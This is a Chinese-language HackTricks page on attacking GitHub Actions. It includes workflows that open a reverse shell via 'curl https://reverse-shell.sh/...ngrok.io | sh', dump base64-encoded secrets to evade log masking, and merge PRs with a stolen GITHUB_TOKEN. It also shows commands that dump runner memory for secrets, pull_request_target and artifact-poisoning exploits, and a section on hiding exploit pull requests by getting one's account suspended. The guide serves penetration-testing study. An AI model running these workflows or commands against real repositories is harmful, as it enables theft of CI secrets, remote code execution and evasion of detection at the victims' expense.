Chinese - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Abusing Github Actions

Support HackTricks

Basic Information

在此页面中，您将找到：

  • 攻击者成功访问 Github Action 的所有影响的摘要

  • 获取访问权限的不同方式：

  • 拥有创建该操作的权限

  • 滥用与拉取请求相关的触发器

  • 滥用其他外部访问技术

  • 从已被攻陷的仓库中转移

  • 最后，关于从内部滥用操作的后期利用技术的部分（造成上述影响）

Impacts Summary

有关 Github Actions 的介绍，请查看基本信息。

如果您可以在仓库中执行任意 Github 操作/注入代码，您可能能够：

  • 窃取该仓库/组织的机密。

  • 如果您只能注入，您可以窃取工作流中已经存在的任何内容。

  • 滥用仓库权限访问其他平台，如 AWS 和 GCP。

  • 在自定义工作者中执行代码（如果使用自定义工作者）并尝试从那里转移。

  • 覆盖仓库代码。

  • 这取决于 GITHUB_TOKEN 的权限（如果有的话）。

  • 破坏 部署和其他工件。

  • 如果代码正在部署或存储某些内容，您可以修改它并获得进一步的访问权限。

GITHUB_TOKEN

这个“秘密”（来自 ${{ secrets.GITHUB_TOKEN }} 和 ${{ github.token }}）是在管理员启用此选项时提供的：

此令牌与Github 应用程序使用的令牌相同，因此可以访问相同的端点：https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github 应该发布一个 流程，允许跨仓库访问 GitHub，因此一个仓库可以使用 GITHUB_TOKEN 访问其他内部仓库。

您可以在以下位置查看此令牌的可能权限：https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

请注意，令牌在作业完成后过期。 这些令牌看起来像这样：ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

您可以使用此令牌执行的一些有趣操作：

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

请注意，在多个场合中，您将能够在 Github Actions 环境变量或秘密中找到 github 用户令牌。这些令牌可能会让您对存储库和组织拥有更多权限。

在 Github Action 输出中列出秘密

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

通过秘密获取反向 shell

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

可以通过检查日志来查看其他用户仓库中Github Token的权限：

允许的执行

这将是妥协Github actions的最简单方法，因为这种情况假设您有在组织中创建新仓库的权限，或对某个仓库有写入权限。

如果您处于这种情况，您可以查看后期利用技术。

从仓库创建执行

如果组织的成员可以创建新仓库并且您可以执行github actions，您可以创建一个新仓库并窃取在组织级别设置的秘密。

从新分支执行

如果您可以在已经配置了Github Action的仓库中创建新分支，您可以修改它，上传内容，然后从新分支执行该操作。这样您可以提取仓库和组织级别的秘密（但您需要知道它们的名称）。

您可以在手动、创建PR时或推送某些代码时使修改后的操作可执行（具体取决于您想要多吵）。

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

有不同的触发器可以让攻击者执行另一个仓库的Github Action。如果这些可触发的操作配置不当，攻击者可能会利用它们。

pull_request

工作流触发器**pull_request将在每次收到拉取请求时执行工作流，但有一些例外：默认情况下，如果这是您第一次进行协作**，某些维护者需要批准工作流的运行：

由于默认限制适用于首次贡献者，您可以通过修复有效的错误/拼写错误来贡献，然后发送其他PR以滥用您新的pull_request权限。

我测试过，这不行：另一个选项是创建一个与曾经为该项目贡献的人同名的账户，然后删除他的账户。

此外，默认情况下防止写权限和秘密访问目标仓库，如文档中所述：

除了GITHUB_TOKEN，在从forked仓库触发工作流时，秘密不会传递给运行器。在forked仓库的拉取请求中，GITHUB_TOKEN具有只读权限**。

攻击者可以修改Github Action的定义，以执行任意操作并附加任意操作。然而，由于上述限制，他将无法窃取秘密或覆盖仓库。

是的，如果攻击者在PR中更改将被触发的github action，他的Github Action将被使用，而不是源仓库的那个！

由于攻击者还控制着被执行的代码，即使在GITHUB_TOKEN上没有秘密或写权限，攻击者也可以例如上传恶意工件。

pull_request_target

工作流触发器**pull_request_target对目标仓库具有写权限和访问秘密**（并且不需要请求权限）。

请注意，工作流触发器**pull_request_target在基础上下文中运行，而不是在PR提供的上下文中（以不执行不受信任的代码**）。有关pull_request_target的更多信息，请查看文档。 此外，关于这种特定危险用法的更多信息，请查看这篇github博客文章。

看起来因为执行的工作流是定义在基础而不是在PR中的，所以使用**pull_request_target是安全的**，但有一些情况并非如此。

而且这个将具有访问秘密的权限。

workflow_run

workflow_run触发器允许在工作流完成、请求或进行中时从不同的工作流运行一个工作流。

在这个例子中，配置了一个工作流，在单独的“运行测试”工作流完成后运行：

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Moreover, according to the docs: The workflow started by the workflow_run event is able to access secrets and write tokens, even if the previous workflow was not.

这种工作流如果依赖于一个可以通过**pull_request或pull_request_target被外部用户触发的工作流**，可能会受到攻击。一些脆弱的例子可以在这篇博客中找到. 第一个例子是**workflow_run触发的工作流下载攻击者的代码：${{ github.event.pull_request.head.sha }} 第二个例子是将一个工件从不可信代码传递到workflow_run工作流，并以使其易受RCE攻击**的方式使用该工件的内容。

workflow_call

TODO

TODO: 检查从pull_request执行时使用/下载的代码是否来自原始代码库或来自分叉的PR

滥用分叉执行

我们已经提到外部攻击者可以使github工作流执行的所有方式，现在让我们看看这些执行如果配置不当，可能会被滥用的情况：

不可信的检出执行

在**pull_request的情况下，工作流将在PR的上下文中执行（因此它将执行恶意PR的代码**），但需要有人先授权，并且它将运行时有一些限制。

如果工作流使用**pull_request_target或workflow_run，并依赖于可以从pull_request_target或pull_request触发的工作流，则将执行原始代码库中的代码，因此攻击者无法控制执行的代码**。

然而，如果action有一个显式的PR检出，将从PR获取代码（而不是从基础），它将使用攻击者控制的代码。例如（检查第12行，其中下载了PR代码）：

# 不安全。仅作为示例提供。
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

潜在的不可信代码在npm install或npm build期间运行，因为构建脚本和引用的包由PR的作者控制。

一个用于搜索脆弱actions的github dork是：event.pull_request pull_request_target extension:yml，然而，即使action配置不安全，也有不同的方法可以安全地配置要执行的作业（例如使用关于谁是生成PR的参与者的条件）。

上下文脚本注入

请注意，有某些github上下文的值是由创建PR的用户控制的。如果github action使用该数据执行任何操作，可能会导致任意代码执行：

GITHUB_ENV脚本注入

根据文档：您可以通过定义或更新环境变量并将其写入**GITHUB_ENV环境文件，使环境变量可用于工作流作业中的任何后续步骤**。

如果攻击者能够注入任何值到这个env变量中，他可以注入可以在后续步骤中执行代码的环境变量，例如LD_PRELOAD或NODE_OPTIONS。

例如（这个和这个），想象一个信任上传的工件将其内容存储在**GITHUB_ENV**环境变量中的工作流。攻击者可以上传类似这样的内容来破坏它：

脆弱的第三方Github Actions

dawidd6/action-download-artifact

正如在这篇博客文章中提到的，这个Github Action允许访问来自不同工作流甚至不同代码库的工件。

问题在于，如果**path**参数未设置，工件将提取到当前目录，并且可能覆盖后续在工作流中使用或执行的文件。因此，如果工件是脆弱的，攻击者可以利用这一点来破坏其他信任该工件的工作流。

脆弱工作流的示例：

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

这可以通过以下工作流程进行攻击：

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

其他外部访问

删除的命名空间仓库劫持

如果一个账户更改了名称，其他用户在一段时间后可以注册一个相同名称的账户。如果一个仓库在更改名称之前少于 100 个星标，Github 将允许新注册的用户使用相同的名称创建一个与被删除的仓库同名的仓库。

因此，如果一个操作使用来自不存在账户的仓库，攻击者仍然有可能创建该账户并妥协该操作。

如果其他仓库使用了该用户仓库的依赖项，攻击者将能够劫持它们。这里有一个更完整的解释：https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

仓库转移

在本节中，我们将讨论一些技术，这些技术将允许从一个仓库转移到另一个仓库，假设我们在第一个仓库上有某种访问权限（请查看前一节）。

缓存中毒

在同一分支的工作流运行之间维护一个缓存。这意味着如果攻击者妥协了一个包，然后将其存储在缓存中，并被更高权限的工作流下载和执行，他将能够妥协该工作流。

工件中毒

工作流可以使用来自其他工作流甚至仓库的工件，如果攻击者设法妥协了上传工件的Github Action，而该工件随后被另一个工作流使用，他可以妥协其他工作流：

从操作后的利用

通过 OIDC 访问 AWS 和 GCP

查看以下页面：

访问秘密

如果您正在向脚本中注入内容，了解如何访问秘密是很有趣的：

  • 如果秘密或令牌被设置为环境变量，可以通过环境直接使用**printenv**访问。

在 Github Action 输出中列出秘密

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>通过秘密获取反向 shell</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

  • 如果秘密直接在表达式中使用，生成的 shell 脚本将存储在磁盘上并可访问。

cat /home/runner/work/_temp/*

* 对于 JavaScript actions，秘密通过环境变量发送
* ```bash
ps axe | grep node

  • 对于自定义操作，风险可能会有所不同，具体取决于程序如何使用从参数中获得的秘密：

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

滥用自托管运行器

查找在非 GitHub 基础设施中执行的 GitHub Actions的方法是搜索 GitHub Action 配置 yaml 中的**runs-on: self-hosted**。

自托管运行器可能访问额外的敏感信息，访问其他网络系统（网络中的脆弱端点？元数据服务？）或者，即使它是隔离和销毁的，可能会同时运行多个操作，恶意操作可能会窃取其他操作的秘密。

在自托管运行器中，还可以通过转储其内存来获取来自 _Runner.Listener_** 进程** 的秘密，该进程将在任何步骤中包含工作流的所有秘密：

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

查看此帖子以获取更多信息。

Github Docker 镜像注册表

可以创建 Github actions 来 在 Github 内部构建和存储 Docker 镜像。 以下可找到一个示例：

Github Action 构建 & 推送 Docker 镜像

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

正如您在之前的代码中看到的，Github 注册表托管在 **`ghcr.io`**。

具有对该仓库的读取权限的用户将能够使用个人访问令牌下载 Docker 镜像：
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

然后，用户可以搜索 Docker 镜像层中的泄露秘密：

Github Actions 日志中的敏感信息

即使 Github 尝试 检测秘密值 在操作日志中并 避免显示 它们，其他敏感数据 可能在操作执行过程中生成的仍然不会被隐藏。例如，使用秘密值签名的 JWT 除非 特别配置，否则不会被隐藏。

掩盖你的痕迹

（技术来自 这里）首先，任何提出的 PR 在 Github 上对公众和目标 GitHub 账户都是明显可见的。在 GitHub 中，默认情况下，我们 无法删除互联网上的 PR，但有一个变数。对于被 Github 暂停 的 GitHub 账户，所有的 PR 会被自动删除 并从互联网上移除。因此，为了隐藏你的活动，你需要让你的 GitHub 账户被暂停或让你的账户被标记。这将 隐藏你在 GitHub 上的所有活动（基本上移除你所有的利用 PR）

GitHub 中的一个组织非常积极地向 GitHub 举报账户。你所需要做的就是在 Issue 中分享“某些东西”，他们会确保你的账户在 12 小时内被暂停 :p 这样你就可以让你的利用在 GitHub 上变得不可见。

组织发现他们被针对的唯一方法是检查来自 SIEM 的 GitHub 日志，因为从 GitHub UI 中 PR 会被移除。

工具

以下工具对于查找 GitHub Action 工作流甚至查找易受攻击的工作流非常有用：

PreviousGithub SecurityNextGh Actions - Artifact Poisoning

Last updated